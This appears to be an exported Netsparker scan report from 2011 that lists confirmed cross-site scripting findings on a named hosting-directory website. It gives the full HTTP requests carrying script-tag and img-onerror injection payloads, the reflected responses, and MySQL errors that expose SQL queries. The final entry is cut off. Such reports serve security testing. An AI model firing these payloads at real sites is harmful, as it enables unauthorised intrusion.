http://www.hostingcatalog.com/notcharged.php?param='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eale..

Parameters

Parameter Type Value
param GET '"--></style></script><script>alert(0x00048A)</script>

Request

GET /notcharged.php?param='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00048A)%3C/script%3E HTTP/1.1
Referer: http://www.hostingcatalog.com/go.php?param=B6C08873592AFA6EF63958F6B4C144A01A3083E8994A616381B1A7B82C26F77190D5EA86683FFE5E0900EF6822A0651ED04A55D302559B9E
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ptafq9e5a5qh52n7lhsaof9ea6; time_0=1303646197; user_counted_0=1%3CAND%3E%3CAND%3E24%3CAND%3E66%3CAND%3E101%3CAND%3E43%3CAND%3E46%3CAND%3E65%3CAND%3E77%3CAND%3E26%3CAND%3E29%3CAND%3E28
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 12:24:13 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 357


<html><title>Hosting Catalog</title><body><form method="get" action="http://www.hostingcatalog.com/redir.php" name="redirectForm"> <input type="hidden" name="param" value="'"--></style></script><script>netsparker(0x00048A)</script>"></form><SCRIPT LANGUAGE="JavaScript"><!-- document.forms['redirectForm'].submit();//--></SCRIPT></body></html>
- /file.php/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0004CF)%3C/script%3E

/file.php/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0004CF)%3C/script%3E CONFIRMED

http://www.hostingcatalog.com/file.php/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0004CF)..

Parameters

Parameter Type Value
URI-BASED Raw URI '"--></style></script><script>alert(0x0004CF)</script>

Request

GET /file.php/'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0004CF)%3C/script%3E HTTP/1.1
Referer: http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ptafq9e5a5qh52n7lhsaof9ea6; time_0=1303646197; user_counted_0=1%3CAND%3E%3CAND%3E24%3CAND%3E66%3CAND%3E101%3CAND%3E43%3CAND%3E46%3CAND%3E65%3CAND%3E77%3CAND%3E26%3CAND%3E29%3CAND%3E28
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 12:24:16 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 338


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x0004CF)</script>'' at line 1 in SQL SELECT page_id FROM page WHERE page_name='file.php/'"--></style></script><script>netsparker(0x0004CF)</script>'
- /file.php/advertiseradnetwork.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0004DD)%3C/script%3E

/file.php/advertiseradnetwork.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0004DD)%3C/script%3E CONFIRMED

http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cs..

Parameters

Parameter Type Value
URI-BASED Raw URI '"--></style></script><script>alert(0x0004DD)</script>

Request

GET /file.php/advertiseradnetwork.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0004DD)%3C/script%3E HTTP/1.1
Referer: http://www.hostingcatalog.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ptafq9e5a5qh52n7lhsaof9ea6; time_0=1303646197; user_counted_0=1%3CAND%3E%3CAND%3E24%3CAND%3E66%3CAND%3E101%3CAND%3E43%3CAND%3E46%3CAND%3E65%3CAND%3E77%3CAND%3E26%3CAND%3E29%3CAND%3E28
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 12:24:17 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 361


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x0004DD)</script>'' at line 1 in SQL SELECT page_id FROM page WHERE page_name='file.php/advertiseradnetwork.txt'"--></style></script><script>netsparker(0x0004DD)</script>'
- /file.php/adnetworkpartnerprogram.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0004EE)%3C/script%3E

/file.php/adnetworkpartnerprogram.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0004EE)%3C/script%3E CONFIRMED

http://www.hostingcatalog.com/file.php/adnetworkpartnerprogram.txt'%22--%3E%3C/style%3E%3C/script%3E..

Parameters

Parameter Type Value
URI-BASED Raw URI '"--></style></script><script>alert(0x0004EE)</script>

Request

GET /file.php/adnetworkpartnerprogram.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0004EE)%3C/script%3E HTTP/1.1
Referer: http://www.hostingcatalog.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ptafq9e5a5qh52n7lhsaof9ea6; time_0=1303646197; user_counted_0=1%3CAND%3E%3CAND%3E24%3CAND%3E66%3CAND%3E101%3CAND%3E43%3CAND%3E46%3CAND%3E65%3CAND%3E77%3CAND%3E26%3CAND%3E29%3CAND%3E28
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 12:24:19 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 365


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x0004EE)</script>'' at line 1 in SQL SELECT page_id FROM page WHERE page_name='file.php/adnetworkpartnerprogram.txt'"--></style></script><script>netsparker(0x0004EE)</script>'
- /file.php/faq.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00072B)%3C/script%3E

/file.php/faq.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00072B)%3C/script%3E CONFIRMED

http://www.hostingcatalog.com/file.php/faq.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x..

Parameters

Parameter Type Value
URI-BASED Raw URI '"--></style></script><script>alert(0x00072B)</script>

Request

GET /file.php/faq.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00072B)%3C/script%3E HTTP/1.1
Referer: http://www.hostingcatalog.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ih5c11ng15cq97vpjgk3ki9jf5; time_0=1303647875; user_counted_0=%3CAND%3E101%3CAND%3E43
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 12:24:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 345


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x00072B)</script>'' at line 1 in SQL SELECT page_id FROM page WHERE page_name='file.php/faq.txt'"--></style></script><script>netsparker(0x00072B)</script>'
- /file.php/contact.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00073E)%3C/script%3E

/file.php/contact.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00073E)%3C/script%3E CONFIRMED

http://www.hostingcatalog.com/file.php/contact.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealer..

Parameters

Parameter Type Value
URI-BASED Raw URI '"--></style></script><script>alert(0x00073E)</script>

Request

GET /file.php/contact.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00073E)%3C/script%3E HTTP/1.1
Referer: http://www.hostingcatalog.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ih5c11ng15cq97vpjgk3ki9jf5; time_0=1303647875; user_counted_0=%3CAND%3E101%3CAND%3E43%3CAND%3E46
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 12:24:47 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 349


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x00073E)</script>'' at line 1 in SQL SELECT page_id FROM page WHERE page_name='file.php/contact.txt'"--></style></script><script>netsparker(0x00073E)</script>'
- /file.php/partner1.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000753)%3C/script%3E

/file.php/partner1.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000753)%3C/script%3E CONFIRMED

http://www.hostingcatalog.com/file.php/partner1.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eale..

Parameters

Parameter Type Value
URI-BASED Raw URI '"--></style></script><script>alert(0x000753)</script>

Request

GET /file.php/partner1.txt'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000753)%3C/script%3E HTTP/1.1
Referer: http://www.hostingcatalog.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ih5c11ng15cq97vpjgk3ki9jf5; time_0=1303647875; user_counted_0=%3CAND%3E101%3CAND%3E43%3CAND%3E46%3CAND%3E65
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 12:24:49 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 350


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x000753)</script>'' at line 1 in SQL SELECT page_id FROM page WHERE page_name='file.php/partner1.txt'"--></style></script><script>netsparker(0x000753)</script>'
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST "><iMg src=N onerror=alert(9)>
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 545
Accept-Encoding: gzip, deflate

account_type=1&address=%22%3e%3ciMg+src%3dN+onerror%3dnetsparker(9)%3e&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:48:50 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='C4C0A65D598D2DD5B1A1545CAF0FE79DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='C4C0A65D598D2DD5AC5BE9D169404B7F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='C4C0A65D598D2DD57B4CA7971A19D51CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD5591D31FA6F09E5FEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='C4C0A65D598D2DD51A0783C3A9C036596F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='C4C0A65D598D2DD5DBD330A85647FBEEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='C4C0A65D598D2DD5D9C3F5835BD2C975C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='C4C0A65D598D2DD5F5CC682AE3D7CB0F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='C4C0A65D598D2DD5D985BBF8D7F18396C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='C4C0A65D598D2DD589C598F7953268606F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='C4C0A65D598D2DD5CA7CE84E37C72B5FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='C4C0A65D598D2DD5A41B6AF4024EED6FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='C4C0A65D598D2DD518F91CC68B3C4EFBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C4C0A65D598D2DD58A05B05A969F25D0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='C4C0A65D598D2DD5BDE13D178D65FB2EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='C4C0A65D598D2DD5CE2863657ACD7F0AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='C4C0A65D598D2DD5A7599A3592C60F586F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='C4C0A65D598D2DD54F247171E97E98786F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='C4C0A65D598D2DD5F284AB60CD0E403A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST '"--></style></script><script>alert(0x001C7A)</script>
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 583
Accept-Encoding: gzip, deflate

